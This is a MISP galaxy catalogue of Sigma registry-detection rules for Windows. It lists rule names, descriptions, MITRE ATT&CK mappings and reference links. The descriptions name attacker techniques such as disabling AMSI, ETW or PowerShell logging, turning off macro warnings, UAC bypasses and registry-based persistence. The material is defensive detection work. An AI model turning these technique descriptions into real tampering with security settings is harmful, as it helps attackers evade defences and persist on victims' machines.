- related-to: misp-galaxy:mitre-attack-pattern="Disable or Modify Tools - T1562.001" with estimative-language:likelihood-probability="almost-certain"

Table 14408. Table References

Links
https://www.linkedin.com/pulse/guntior-story-advanced-bootkit-doesnt-rely-windows-disk-baranov-wue8e/
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_set/registry_set_ime_suspicious_paths.yml

Potential Persistence Via DLLPathOverride

Detects when an attacker adds a new "DLLPathOverride" value to the "Natural Language" key in order to achieve persistence which will get invoked by "SearchIndexer.exe" process

The tag is: *misp-galaxy:sigma-rules="Potential Persistence Via DLLPathOverride"*

Table 14409. Table References

Links
https://persistence-info.github.io/Data/naturallanguage6.html
https://www.hexacorn.com/blog/2018/12/30/beyond-good-ol-run-key-part-98/
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_set/registry_set_persistence_natural_language.yml

Scheduled TaskCache Change by Uncommon Program

Monitor the creation of a new key under 'TaskCache' when a new scheduled task is registered by a process that is not svchost.exe, which is suspicious

The tag is: *misp-galaxy:sigma-rules="Scheduled TaskCache Change by Uncommon Program"*

View relationships graph

Scheduled TaskCache Change by Uncommon Program has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Scheduled Task/Job - T1053" with estimative-language:likelihood-probability="almost-certain"
- related-to: misp-galaxy:mitre-attack-pattern="Scheduled Task - T1053.005" with estimative-language:likelihood-probability="almost-certain"

Table 14410. Table References

Links
https://thedfirreport.com/2021/03/29/sodinokibi-aka-revil-ransomware/
https://labs.f-secure.com/blog/scheduled-task-tampering/
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_set/registry_set_taskcache_entry.yml

Suspicious Execution Of Renamed Sysinternals Tools - Registry

Detects the creation of the "accepteula" key related to the Sysinternals tools being created from executables with the wrong name (e.g. a renamed Sysinternals tool)

The tag is: *misp-galaxy:sigma-rules="Suspicious Execution Of Renamed Sysinternals Tools - Registry"*

View relationships graph

Suspicious Execution Of Renamed Sysinternals Tools - Registry has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Tool - T1588.002" with estimative-language:likelihood-probability="almost-certain"

Table 14411. Table References

Links
Internal Research[Internal Research]
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_set/registry_set_pua_sysinternals_renamed_execution_via_eula.yml

Potential Persistence Via Shim Database Modification

Adversaries may establish persistence and/or elevate privileges by executing malicious content triggered by application shims. The Microsoft Windows Application Compatibility Infrastructure/Framework (Application Shim) was created to allow for backward compatibility of software as the operating system codebase changes over time

The tag is: *misp-galaxy:sigma-rules="Potential Persistence Via Shim Database Modification"*

View relationships graph

Potential Persistence Via Shim Database Modification has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Application Shimming - T1546.011" with estimative-language:likelihood-probability="almost-certain"

Table 14412. Table References

Links
https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1546.011/T1546.011.md#atomic-test-3---registry-key-creation-andor-modification-events-for-sdb
https://andreafortuna.org/2018/11/12/process-injection-and-persistence-using-application-shimming/
https://www.fireeye.com/blog/threat-research/2017/05/fin7-shim-databases-persistence.html
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_set/registry_set_persistence_shim_database.yml

Potential Ransomware Activity Using LegalNotice Message

Detect changes to the "LegalNoticeCaption" or "LegalNoticeText" registry values where the message set contains keywords often used in ransomware ransom messages

The tag is: *misp-galaxy:sigma-rules="Potential Ransomware Activity Using LegalNotice Message"*

View relationships graph

Potential Ransomware Activity Using LegalNotice Message has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Internal Defacement - T1491.001" with estimative-language:likelihood-probability="almost-certain"

Table 14413. Table References

Links
https://github.com/redcanaryco/atomic-red-team/blob/5c1e6f1b4fafd01c8d1ece85f510160fc1275fbf/atomics/T1491.001/T1491.001.md
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_set/registry_set_legalnotice_susp_message.yml

Potential Persistence Via Netsh Helper DLL - Registry

Detects changes to the Netsh registry key to add a new DLL value. This change might be an

indication of a potential persistence attempt by adding a malicious Netsh helper

The tag is: *misp-galaxy:sigma-rules="Potential Persistence Via Netsh Helper DLL - Registry"*

View relationships graph

Potential Persistence Via Netsh Helper DLL - Registry has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Netsh Helper DLL - T1546.007" with estimative-language:likelihood-probability="almost-certain"

Table 14414. Table References

Links
https://www.ired.team/offensive-security/persistence/t1128-netsh-helper-dll
https://pentestlab.blog/2019/10/29/persistence-netsh-helper-dll/
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_set/registry_set_netsh_helper_dll_potential_persistence.yml

Suspicious PowerShell In Registry Run Keys

Detects potential PowerShell commands or code within registry run keys

The tag is: *misp-galaxy:sigma-rules="Suspicious PowerShell In Registry Run Keys"*

View relationships graph

Suspicious PowerShell In Registry Run Keys has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Registry Run Keys / Startup Folder - T1547.001" with estimative-language:likelihood-probability="almost-certain"

Table 14415. Table References

Links
https://github.com/frack113/atomic-red-team/blob/a9051c38de8a5320b31c7039efcbd3b56cf2d65a/atomics/T1547.001/T1547.001.md#atomic-test-9---systembc-malware-as-a-service-registry
https://www.trendmicro.com/en_us/research/22/j/lv-ransomware-exploits-proxyshell-in-attack.html
https://github.com/HackTricks-wiki/hacktricks/blob/e4c7b21b8f36c97c35b7c622732b38a189ce18f7/src/windows-hardening/windows-local-privilege-escalation/privilege-escalation-with-autorun-binaries.md
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_set/registry_set_powershell_in_run_keys.yml

COM Object Hijacking Via Modification Of Default System CLSID Default Value

Detects potential COM object hijacking via modification of default system CLSID.

The tag is: *misp-galaxy:sigma-rules="COM Object Hijacking Via Modification Of Default System CLSID Default Value"*

View relationships graph

COM Object Hijacking Via Modification Of Default System CLSID Default Value has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Component Object Model Hijacking - T1546.015" with estimative-language:likelihood-probability="almost-certain"

Table 14416. Table References

Links
https://securelist.com/forumtroll-apt-hacking-team-dante-spyware/117851/
https://threatbook.io/blog/Analysis-of-APT-C-60-Attack-on-South-Korea
https://catalyst.prodaft.com/public/report/inside-the-latest-espionage-campaign-of-nebulous-mantis
https://blog.talosintelligence.com/uat-5647-romcom/
https://unit42.paloaltonetworks.com/snipbot-romcom-malware-variant/
https://www.microsoft.com/security/blog/2022/07/27/untangling-knotweed-european-private-sector-offensive-actor-using-0-day-exploits/ (idea)[https://www.microsoft.com/security/blog/2022/07/27/untangling-knotweed-european-private-sector-offensive-actor-using-0-day-exploits/ (idea)]
https://github.com/rtecCyberSec/BitlockMove
https://cert.gov.ua/article/6284080
https://global.ptsecurity.com/analytics/pt-esc-threat-intelligence/darkhotel-a-cluster-of-groups-united-by-common-techniques
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_set/registry_set_persistence_com_hijacking_builtin.yml

Change Winevt Channel Access Permission Via Registry

Detects tampering with the "ChannelAccess" registry key in order to change access to Windows event channel.

The tag is: *misp-galaxy:sigma-rules="Change Winevt Channel Access Permission Via Registry"*

View relationships graph

Change Winevt Channel Access Permission Via Registry has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Disable Windows Event Logging - T1562.002" with estimative-language:likelihood-probability="almost-certain"

Table 14417. Table References

Links
https://learn.microsoft.com/en-us/windows/win32/api/winevt/
https://itconnect.uw.edu/tools-services-support/it-systems-infrastructure/msinf/other-help/understanding-sddl-syntax/
https://app.any.run/tasks/77b2e328-8f36-46b2-b2e2-8a80398217ab/
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_set/registry_set_change_winevt_channelaccess.yml

Outlook Macro Execution Without Warning Setting Enabled

Detects the modification of Outlook security setting to allow unprompted execution of macros.

The tag is: *misp-galaxy:sigma-rules="Outlook Macro Execution Without Warning Setting Enabled"*

View relationships graph

Outlook Macro Execution Without Warning Setting Enabled has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Office Application Startup - T1137" with estimative-language:likelihood-probability="almost-certain"
- related-to: misp-galaxy:mitre-attack-pattern="Fallback Channels - T1008" with estimative-language:likelihood-probability="almost-certain"
- related-to: misp-galaxy:mitre-attack-pattern="Event Triggered Execution - T1546" with estimative-language:likelihood-probability="almost-certain"

Table 14418. Table References

Links
https://www.mdsec.co.uk/2020/11/a-fresh-outlook-on-mail-based-persistence/
https://speakerdeck.com/heirhabarov/hunting-for-persistence-via-microsoft-exchange-server-or-outlook?slide=53
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_set/registry_set_office_outlook_enable_macro_execution.yml

FileFix - Command Evidence in TypedPaths

Detects commonly-used chained commands and strings in the most recent 'url' value of the

'TypedPaths' key, which could be indicative of a user being targeted by the FileFix technique.

The tag is: *misp-galaxy:sigma-rules="FileFix - Command Evidence in TypedPaths"*

View relationships graph

FileFix - Command Evidence in TypedPaths has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Malicious Copy and Paste - T1204.004" with estimative-language:likelihood-probability="almost-certain"

Table 14419. Table References

Links
https://x.com/russianpanda9xx/status/1940831134759506029
https://www.scpx.com.au/2025/11/16/decades-old-finger-protocol-abused-in-clickfix-malware-attacks/
https://mrd0x.com/filefix-clickfix-alternative/
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_set/registry_set_filefix_typedpath_commands.yml

Enable LM Hash Storage

Detects changes to the "NoLMHash" registry value in order to allow Windows to store LM Hashes. By setting this registry value to "0" (DWORD), Windows will be allowed to store a LAN manager hash of your password in Active Directory and local SAM databases.

The tag is: *misp-galaxy:sigma-rules="Enable LM Hash Storage"*

View relationships graph

Enable LM Hash Storage has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Modify Registry - T1112" with estimative-language:likelihood-probability="almost-certain"

Table 14420. Table References

Links
https://www.sans.org/blog/protecting-privileged-domain-accounts-lm-hashes-the-good-the-bad-and-the-ugly/
https://www.cisa.gov/news-events/cybersecurity-advisories/aa23-347a
https://learn.microsoft.com/en-us/troubleshoot/windows-server/windows-security/prevent-windows-store-lm-hash-password
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_set/registry_set_system_lsa_nolmhash.yml

Office Macros Warning Disabled

Detects registry changes to Microsoft Office "VBAWarning" to a value of "1" which enables the execution of all macros, whether signed or unsigned.

The tag is: *misp-galaxy:sigma-rules="Office Macros Warning Disabled"*

View relationships graph

Office Macros Warning Disabled has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Modify Registry - T1112" with estimative-language:likelihood-probability="almost-certain"

Table 14421. Table References

Links
https://securelist.com/scarcruft-surveilling-north-korean-defectors-and-human-rights-activists/105074/
https://www.mcafee.com/blogs/other-blogs/mcafee-labs/zloader-with-a-new-infection-technique/
https://twitter.com/inversecos/status/1494174785621819397
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_set/registry_set_office_vba_warnings_tamper.yml

Windows Vulnerable Driver Blocklist Disabled

Detects when the Windows Vulnerable Driver Blocklist is set to disabled. This setting is crucial for preventing the loading of known vulnerable drivers, and its modification may indicate an attempt to bypass security controls. It is often targeted by threat actors to facilitate the installation of malicious or vulnerable drivers, particularly in scenarios involving Endpoint Detection and Response (EDR) bypass techniques. This rule applies to systems that support the Vulnerable Driver Blocklist feature, including Windows 10 version 1903 and later, and Windows Server 2022 and later. Note that this change will require a reboot to take effect, and this rule only detects the registry modification action.

The tag is: *misp-galaxy:sigma-rules="Windows Vulnerable Driver Blocklist Disabled"*

View relationships graph

Windows Vulnerable Driver Blocklist Disabled has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Disable or Modify Tools - T1562.001" with estimative-language:likelihood-probability="almost-certain"

Table 14422. Table References

Links

https://docs.microsoft.com/en-us/windows/security/threat-protection/windows-defender-application-control/microsoft-recommended-driver-block-rules
https://www.sophos.com/en-us/blog/sharpening-the-knife-gold-blades-strategic-evolution
https://learn.microsoft.com/en-us/windows/security/application-security/application-control/app-control-for-business/design/microsoft-recommended-driver-block-rules
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_set/registry_set_vulnerable_driver_blocklist_disable.yml

AMSI Disabled via Registry Modification

Detects attempts to disable AMSI (Anti-Malware Scan Interface) by modifying the AmsiEnable registry value. Anti-Malware Scan Interface (AMSI) is a security feature in Windows that allows applications and services to integrate with anti-malware products for enhanced protection against malicious content. Adversaries may attempt to disable AMSI to evade detection by security software, allowing them to execute malicious scripts or code without being scanned.

The tag is: *misp-galaxy:sigma-rules="AMSI Disabled via Registry Modification"*

View relationships graph

AMSI Disabled via Registry Modification has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Disable or Modify Tools - T1562.001" with estimative-language:likelihood-probability="almost-certain"
- related-to: misp-galaxy:mitre-attack-pattern="Indicator Blocking - T1562.006" with estimative-language:likelihood-probability="almost-certain"

Table 14423. Table References

Links
https://www.mdsec.co.uk/2019/02/macros-and-more-with-sharpshooter-v2-0/
https://docs.microsoft.com/en-us/windows/win32/amsi/antimalware-scan-interface-portal
https://mostafayahiax.medium.com/hunting-for-amsi-bypassing-methods-9886dda0bf9d
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_set/registry_set_amsi_disable.yml

Bypass UAC Using DelegateExecute

Bypasses User Account Control using a fileless method

The tag is: *misp-galaxy:sigma-rules="Bypass UAC Using DelegateExecute"*

View relationships graph

Bypass UAC Using DelegateExecute has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Bypass User Account Control - T1548.002" with estimative-language:likelihood-probability="almost-certain"

Table 14424. Table References

Links
https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1548.002/T1548.002.md#atomic-test-7---bypass-uac-using-sdclt-delegateexecute
https://devblogs.microsoft.com/oldnewthing/20100312-01/?p=14623
https://learn.microsoft.com/en-us/windows/win32/api/shobjidl_core/nn-shobjidl_core-iexecutecommand
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_set/registry_set_bypass_uac_using_delegateexecute.yml

Potential Persistence Via Outlook LoadMacroProviderOnBoot Setting

Detects the modification of Outlook setting "LoadMacroProviderOnBoot" which if enabled allows the automatic loading of any configured VBA project/module

The tag is: *misp-galaxy:sigma-rules="Potential Persistence Via Outlook LoadMacroProviderOnBoot Setting"*

View relationships graph

Potential Persistence Via Outlook LoadMacroProviderOnBoot Setting has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Office Application Startup - T1137" with estimative-language:likelihood-probability="almost-certain"
- related-to: misp-galaxy:mitre-attack-pattern="Fallback Channels - T1008" with estimative-language:likelihood-probability="almost-certain"
- related-to: misp-galaxy:mitre-attack-pattern="Event Triggered Execution - T1546" with estimative-language:likelihood-probability="almost-certain"

Table 14425. Table References

Links
https://speakerdeck.com/heirhabarov/hunting-for-persistence-via-microsoft-exchange-server-or-outlook?slide=53
https://www.linkedin.com/pulse/outlook-backdoor-using-vba-samir-b-/
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_set/registry_set_office_outlook_enable_load_macro_provider_on_boot.yml

Disable Exploit Guard Network Protection on Windows Defender

Detects disabling Windows Defender Exploit Guard Network Protection

The tag is: *misp-galaxy:sigma-rules="Disable Exploit Guard Network Protection on Windows Defender"*

View relationships graph

Disable Exploit Guard Network Protection on Windows Defender has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Disable or Modify Tools - T1562.001" with estimative-language:likelihood-probability="almost-certain"

Table 14426. Table References

Links
https://www.tenforums.com/tutorials/105533-enable-disable-windows-defender-exploit-protection-settings.html
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_set/registry_set_disabled_exploit_guard_net_protection_on_ms_defender.yml

Change the Fax Dll

Detect possible persistence using Fax DLL load when service restart

The tag is: *misp-galaxy:sigma-rules="Change the Fax Dll"*

View relationships graph

Change the Fax Dll has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Modify Registry - T1112" with estimative-language:likelihood-probability="almost-certain"

Table 14427. Table References

Links
https://twitter.com/dottor_morte/status/1544652325570191361
https://raw.githubusercontent.com/RiccardoAncarani/talks/master/F-Secure/unorthodox-lateral-movement.pdf
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_set/registry_set_fax_dll_persistance.yml

Internet Explorer DisableFirstRunCustomize Enabled

Detects changes to the Internet Explorer "DisableFirstRunCustomize" value, which prevents Internet Explorer from running the first run wizard the first time a user starts the browser after installing Internet Explorer or Windows.

The tag is: *misp-galaxy:sigma-rules="Internet Explorer DisableFirstRunCustomize Enabled"*

Table 14428. Table References

Links
https://unit42.paloaltonetworks.com/operation-ke3chang-resurfaces-with-new-tidepool-malware/
https://www.ncsc.gov.uk/static-assets/documents/malware-analysis-reports/devil-bait/NCSC-MAR-Devil-Bait.pdf
https://admx.help/?Category=InternetExplorer&Policy=Microsoft.Policies.InternetExplorer::NoFirstRunCustomise
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_set/registry_set_internet_explorer_disable_first_run_customize.yml

Old TLS1.0/TLS1.1 Protocol Version Enabled

Detects applications or users re-enabling old TLS versions by setting the "Enabled" value to "1" for the "Protocols" registry key.

The tag is: *misp-galaxy:sigma-rules="Old TLS1.0/TLS1.1 Protocol Version Enabled"*

Table 14429. Table References

Links
https://techcommunity.microsoft.com/t5/windows-it-pro-blog/tls-1-0-and-tls-1-1-soon-to-be-disabled-in-windows/ba-p/3887947
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_set/registry_set_tls_protocol_old_version_enabled.yml

Register New IFiltre For Persistence

Detects when an attacker registers a new IFilter for an extension. Microsoft Windows Search uses filters to extract the content of items for inclusion in a full-text index. You can extend Windows Search to index new or proprietary file types by writing filters to extract the content, and property handlers to extract the properties of files.

The tag is: *misp-galaxy:sigma-rules="Register New IFiltre For Persistence"*

Table 14430. Table References

Links

https://github.com/gtworek/PSBits/blob/8d767892f3b17eefa4d0668f5d2df78e844f01d8/IFilter/Dll.cpp#L281-L308
https://persistence-info.github.io/Data/ifilters.html
https://github.com/gtworek/PSBits/tree/master/IFilter
https://twitter.com/0gtweet/status/1468548924600459267
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_set/registry_set_persistence_ifilter.yml

PUA - Sysinternals Tools Execution - Registry

Detects the execution of some potentially unwanted tools such as PsExec, Procdump, etc. (part of the Sysinternals suite) via the creation of the "accepteula" registry key.

The tag is: *misp-galaxy:sigma-rules="PUA - Sysinternals Tools Execution - Registry"*

View relationships graph

PUA - Sysinternals Tools Execution - Registry has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Tool - T1588.002" with estimative-language:likelihood-probability="almost-certain"

Table 14431. Table References

Links
https://twitter.com/Moti_B/status/1008587936735035392
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_set/registry_set_pua_sysinternals_susp_execution_via_eula.yml

IE ZoneMap Setting Downgraded To MyComputer Zone For HTTP Protocols

Detects changes to Internet Explorer's (IE / Windows Internet properties) ZoneMap configuration of the "HTTP" and "HTTPS" protocols to point to the "My Computer" zone. This allows downloaded files from the Internet to be granted the same level of trust as files stored locally.

The tag is: *misp-galaxy:sigma-rules="IE ZoneMap Setting Downgraded To MyComputer Zone For HTTP Protocols"*

Table 14432. Table References

Links
https://www.virustotal.com/gui/file/339ff720c74dc44265b917b6d3e3ba0411d61f3cd3c328e9a2bae81592c8a6e5/content

https://learn.microsoft.com/en-us/troubleshoot/developer/browsers/security-privacy/ie-security-zones-registry-entries
https://twitter.com/M_haggis/status/1699056847154725107
https://twitter.com/JAMESWT_MHT/status/1699042827261391247
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_set/registry_set_ie_security_zone_protocol_defaults_downgrade.yml

Suspicious Service Installed

Detects installation of NalDrv or PROCEXP152 services via registry-keys to non-system32 folders. Both services are used in the tool Ghost-In-The-Logs (https://github.com/bats3c/Ghost-In-The-Logs), which uses KDU (https://github.com/hfiref0x/KDU)

The tag is: *misp-galaxy:sigma-rules="Suspicious Service Installed"*

View relationships graph

Suspicious Service Installed has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Disable or Modify Tools - T1562.001" with estimative-language:likelihood-probability="almost-certain"

Table 14433. Table References

Links
https://web.archive.org/web/20200419024230/https://blog.dylan.codes/evading-sysmon-and-windows-event-logging/
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_set/registry_set_susp_service_installed.yml

PowerShell Logging Disabled Via Registry Key Tampering

Detects changes to the registry for the currently logged-in user. In order to disable PowerShell module logging, script block logging or transcription and script execution logging

The tag is: *misp-galaxy:sigma-rules="PowerShell Logging Disabled Via Registry Key Tampering"*

View relationships graph

PowerShell Logging Disabled Via Registry Key Tampering has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Hidden Files and Directories - T1564.001" with estimative-language:likelihood-probability="almost-certain"
- related-to: misp-galaxy:mitre-attack-pattern="Modify Registry - T1112" with estimative-language:likelihood-probability="almost-certain"

Table 14434. Table References

Links
https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1112/T1112.md#atomic-test-32---windows-powershell-logging-disabled
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_set/registry_set_powershell_logging_disabled.yml

Potential Persistence Via Event Viewer Events.asp

Detects potential registry persistence technique using the Event Viewer "Events.asp" technique

The tag is: *misp-galaxy:sigma-rules="Potential Persistence Via Event Viewer Events.asp"*

View relationships graph

Potential Persistence Via Event Viewer Events.asp has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Modify Registry - T1112" with estimative-language:likelihood-probability="almost-certain"

Table 14435. Table References

Links
https://twitter.com/nas_bench/status/1626648985824788480
https://admx.help/?Category=Windows_7_2008R2&Policy=Microsoft.Policies.InternetCommunicationManagement::EventViewer_DisableLinks
https://github.com/redcanaryco/atomic-red-team/blob/f296668303c29d3f4c07e42bdd2b28d8dd6625f9/atomics/T1112/T1112.md
https://www.hexacorn.com/blog/2019/02/15/beyond-good-ol-run-key-part-103/
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_set/registry_set_persistence_event_viewer_events_asp.yml

Periodic Backup For System Registry Hives Enabled

Detects the enabling of the "EnablePeriodicBackup" registry value. Once enabled, The OS will backup System registry hives on restarts to the "C:\Windows\System32\config\RegBack" folder. Windows creates a "RegIdleBackup" task to manage subsequent backups. Registry backup was a default behavior on Windows and was disabled as of "Windows 10, version 1803".

The tag is: *misp-galaxy:sigma-rules="Periodic Backup For System Registry Hives Enabled"*

View relationships graph

Periodic Backup For System Registry Hives Enabled has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Screen Capture - T1113" with estimative-language:likelihood-probability="almost-certain"

Table 14436. Table References

Links
https://learn.microsoft.com/en-us/troubleshoot/windows-client/installing-updates-features-roles/system-registry-no-backed-up-regback-folder
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_set/registry_set_enable_periodic_backup.yml

Potential Persistence Via Scrobj.dll COM Hijacking

Detect use of scrobj.dll as this DLL looks for the ScriptletURL key to get the location of the script to execute

The tag is: *misp-galaxy:sigma-rules="Potential Persistence Via Scrobj.dll COM Hijacking"*

View relationships graph

Potential Persistence Via Scrobj.dll COM Hijacking has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Component Object Model Hijacking - T1546.015" with estimative-language:likelihood-probability="almost-certain"

Table 14437. Table References

Links
https://github.com/redcanaryco/atomic-red-team/blob/40b77d63808dd4f4eafb83949805636735a1fd15/atomics/T1546.015/T1546.015.md
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_set/registry_set_persistence_scrobj_dll.yml

Running Chrome VPN Extensions via the Registry 2 VPN Extension

Running Chrome VPN Extensions via the Registry install 2 vpn extension

The tag is: *misp-galaxy:sigma-rules="Running Chrome VPN Extensions via the Registry 2 VPN Extension"*

View relationships graph

Running Chrome VPN Extensions via the Registry 2 VPN Extension has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="External Remote Services - T1133" with estimative-language:likelihood-probability="almost-certain"

Table 14438. Table References

Links
https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1133/T1133.md#atomic-test-1---running-chrome-vpn-extensions-via-the-registry-2-vpn-extension
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_set/registry_set_chrome_extension.yml

New File Association Using Exefile

Detects the abuse of the exefile handler in new file association. Used for bypass of security products.

The tag is: *misp-galaxy:sigma-rules="New File Association Using Exefile"*

Table 14439. Table References

Links
https://twitter.com/mrd0x/status/1461041276514623491
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_set/registry_set_file_association_exefile.yml

Potential EventLog File Location Tampering

Detects tampering with EventLog service "file" key. In order to change the default location of an Evtx file. This technique is used to tamper with log collection and alerting

The tag is: *misp-galaxy:sigma-rules="Potential EventLog File Location Tampering"*

View relationships graph

Potential EventLog File Location Tampering has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Disable Windows Event Logging - T1562.002" with estimative-language:likelihood-probability="almost-certain"

Table 14440. Table References

Links
https://learn.microsoft.com/en-us/windows/win32/eventlog/eventlog-key
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_set/registry_set_evtx_file_key_tamper.yml

UAC Bypass via Event Viewer

Detects UAC bypass method using Windows event viewer

The tag is: *misp-galaxy:sigma-rules="UAC Bypass via Event Viewer"*

View relationships graph

UAC Bypass via Event Viewer has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Bypass User Account Control - T1548.002" with estimative-language:likelihood-probability="almost-certain"

Table 14441. Table References

Links
https://enigma0x3.net/2016/08/15/fileless-uac-bypass-using-eventvwr-exe-and-registry-hijacking/
https://www.hybrid-analysis.com/sample/e122bc8bf291f15cab182a5d2d27b8db1e7019e4e96bb5cdbd1dfe7446f3f51f?environmentId=100
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_set/registry_set_uac_bypass_eventvwr.yml

ETW Logging Disabled In .NET Processes - Sysmon Registry

Potential adversaries stopping ETW providers recording loaded .NET assemblies.

The tag is: *misp-galaxy:sigma-rules="ETW Logging Disabled In .NET Processes - Sysmon Registry"*

View relationships graph

ETW Logging Disabled In .NET Processes - Sysmon Registry has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Modify Registry - T1112" with estimative-language:likelihood-probability="almost-certain"
- related-to: misp-galaxy:mitre-attack-pattern="Impair Defenses - T1562" with estimative-language:likelihood-probability="almost-certain"

Table 14442. Table References

Links
https://i.blackhat.com/EU-21/Wednesday/EU-21-Teodorescu-Veni-No-Vidi-No-Vici-Attacks-On-ETW-Blind-EDRs.pdf
https://github.com/dotnet/runtime/blob/4f9ae42d861fcb4be2fcd5d3d55d5f227d30e723/docs/coding-guidelines/clr-jit-coding-conventions.md#1412-disabling-code
https://github.com/dotnet/runtime/blob/ee2355c801d892f2894b0f7b14a20e6cc50e0e54/docs/design/coreclr/jit/viewing-jit-dumps.md#setting-configuration-variables
https://social.msdn.microsoft.com/Forums/vstudio/en-US/0878832e-39d7-4eaf-8e16-a729c4c40975/what-can-i-use-e13c0d23ccbc4e12931bd9cc2eee27e4-for?forum=clr

https://github.com/dotnet/runtime/blob/7abe42dc1123722ed385218268bb9fe04556e3d3/src/coreclr/src/inc/clrconfig.h#L33-L39
https://github.com/dotnet/runtime/search?p=1&q=COMPlus_&unscoped_q=COMPlus_
https://blog.xpnsec.com/hiding-your-dotnet-complus-etwenabled/
https://twitter.com/*xpn*/status/1268712093928378368
https://github.com/dotnet/runtime/blob/f62e93416a1799aecc6b0947adad55a0d9870732/src/coreclr/src/inc/clrconfigvalues.h#L35-L38
https://bunnyinside.com/?term=f71e8cb9c76a
http://managed670.rssing.com/chan-5590147/all_p1.html
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_set/registry_set_dot_net_etw_tamper.yml

Potential Persistence Via Excel Add-in - Registry

Detect potential persistence via the creation of an excel add-in (XLL) file to make it run automatically when Excel is started.

The tag is: *misp-galaxy:sigma-rules="Potential Persistence Via Excel Add-in - Registry"*

View relationships graph

Potential Persistence Via Excel Add-in - Registry has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Add-ins - T1137.006" with estimative-language:likelihood-probability="almost-certain"

Table 14443. Table References

Links
https://github.com/redcanaryco/atomic-red-team/blob/4ae9580a1a8772db87a1b6cdb0d03e5af231e966/atomics/T1137.006/T1137.006.md
https://labs.withsecure.com/publications/add-in-opportunities-for-office-persistence
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_set/registry_set_persistence_xll.yml

Potential Persistence Via MyComputer Registry Keys

Detects modification to the "Default" value of the "MyComputer" key and subkeys to point to a custom binary that will be launched whenever the associated action is executed (see reference section for example)

The tag is: *misp-galaxy:sigma-rules="Potential Persistence Via MyComputer Registry Keys"*

Table 14444. Table References

Links
https://www.hexacorn.com/blog/2017/01/18/beyond-good-ol-run-key-part-55/
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_set/registry_set_persistence_mycomputer.yml

Suspicious Space Characters in RunMRU Registry Path - ClickFix

Detects the occurrence of numerous space characters in RunMRU registry paths, which may indicate execution via phishing lures using clickfix techniques to hide malicious commands in the Windows Run dialog box from naked eyes.

The tag is: *misp-galaxy:sigma-rules="Suspicious Space Characters in RunMRU Registry Path - ClickFix"*

View relationships graph

